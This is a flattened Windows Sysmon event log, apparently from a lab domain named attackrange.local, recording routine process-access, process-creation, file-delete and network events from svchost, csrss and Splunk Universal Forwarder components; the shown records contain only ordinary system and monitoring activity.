10341000x800000000000000016542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-72D3-613B-FE04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D3-613B-FE04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.684{625C326B-72D3-613B-FE04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.496{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CCA38EB4F58048B6AA0CEA26402A718,SHA256=4C4AB03B025C2B519117FA7B98218A6EBA1BADC01669C7C3F8E6FF54B0F9E4E9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:29.505{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59599-false10.0.1.12-8000- 354300x800000000000000051842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:29.139{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59598-false10.0.1.12-8089- 23542300x800000000000000051841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:31.056{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD72329E44DFB9B917D15F25AB5078CF,SHA256=EDE4DB7A5B81C3CFDCD57BEDD536B3756DE86695FB26E1B91B268598874B46DF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D4-613B-0005-00000000F101}1004C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-72D4-613B-0005-00000000F101}1004C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D4-613B-0005-00000000F101}1004C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.811{625C326B-72D4-613B-0005-00000000F101}1004C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT 